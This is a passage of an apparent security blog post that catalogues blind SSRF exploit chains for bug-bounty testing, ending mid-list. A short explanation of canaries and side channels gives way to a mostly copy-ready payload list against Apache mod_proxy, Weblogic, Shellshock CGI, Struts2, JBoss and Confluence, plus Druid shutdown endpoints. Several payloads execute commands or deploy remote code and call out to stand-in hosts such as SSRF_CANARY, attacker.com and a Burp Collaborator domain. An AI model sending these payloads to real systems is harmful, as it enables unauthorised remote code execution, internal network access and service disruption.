Introduction What is Server Side Request Forgery (SSRF)? Server Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of metadata endpoints that may contain sensitive credentials or secrets.
Blind SSRF When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as “Blind SSRF”. In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:
If you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.
You can find a GitHub repo with all of these techniques here: Blind SSRF Chains .
Please send us a pull request on GitHub if you would like any more techniques to be added to this glossary.
SSRF Canaries
In order to validate that you can interact with internal services or applications, you can utilise “SSRF canaries”.
This is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests.
This is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.
Using DNS datasources and AltDNS to find internal hosts With the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts.
On cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you’re targeting is in, it may be possible to access other hosts within the same VPC.
For example, consider the following host has been discovered from DNS datasources:
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
You can make an assumption that the <span class="code_single-line">es</span> stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the “internal” hosts that have been identified through this method. This is often effective.
To find more internal hosts, I recommend taking all of your DNS data and then using something like AltDNS to generate permutations and then resolve them with a fast DNS bruteforcer .
Once this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.
Side Channel Leaks When exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let’s say that you have blind SSRF via an XXE, the error messages may indicate whether or not:
<span class="code_single-line">Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.</span>
vs.
Host and port are unreachable <span class="code_single-line">Error parsing request: System.Net.WebException: Unable to connect to the remote server</span>
Similarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:
Online internal asset:port responds with <span class="code_single-line">200 OK</span> vs offline internal asset:port <span class="code_single-line">500 Internal Server Error</span>
The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.
The response times are slower or faster depending on whether or not the URL you are trying to request is reachable.
Techniques Possible via HTTP(s)
Possible via Gopher
Tools
Possible via HTTP(s)
Apache mod_proxy Commonly bound port: 80,443
SSRF Canary: Apache mod_proxy SSRF (CVE-2021-40438)
Affects Apache <= 2.4.48.
A reference for this bug can be found here: https://firzen.de/building-a-poc-for-cve-2021-40438 .
/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://SSRF_CANARY/
Weblogic Commonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This also works via GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This endpoint is also vulnerable to CRLF injection:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Will result in the following request:
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Taken from here .
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul Commonly bound ports: 8500, 8501 (SSL)
Writeup can be found here .
Shellshock Commonly bound ports: 80, 443 (SSL), 8080
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
Gist containing paths .
SSRF Canary: Shellshock via User Agent
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Apache Druid Commonly bound ports: 80, 8080, 8888, 8082
See the API reference for Apache Druid here .
If you can view the status code, check the following paths to see if they return a 200 status code:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
Shutdown tasks, requires you to guess task IDs or the datasource name:
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Shutdown supervisors on Apache Druid Overlords:
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr Commonly bound port: 8983
SSRF Canary: Shards Parameter
Taken from here .
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
RCE via dataImportHandler
Research on RCE via dataImportHandler
PeopleSoft Commonly bound ports: 80,443 (SSL)
Taken from this research here .
SSRF Canary: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here .
SSRF Canary: Struts2-016 :
Append this to the end of every internal endpoint/URL you know of:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
JBoss Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here .
SSRF Canary: Deploy WAR from URL
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
RCE via OGNL Injection (CVE-2021-26084)
/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/confluence/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/wiki/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/doenterpagevariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/createpage.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/templates2/viewpagetemplate.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/template/custom/content-editor?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/templates/editor-preload-container?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/users/user-dark-features?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
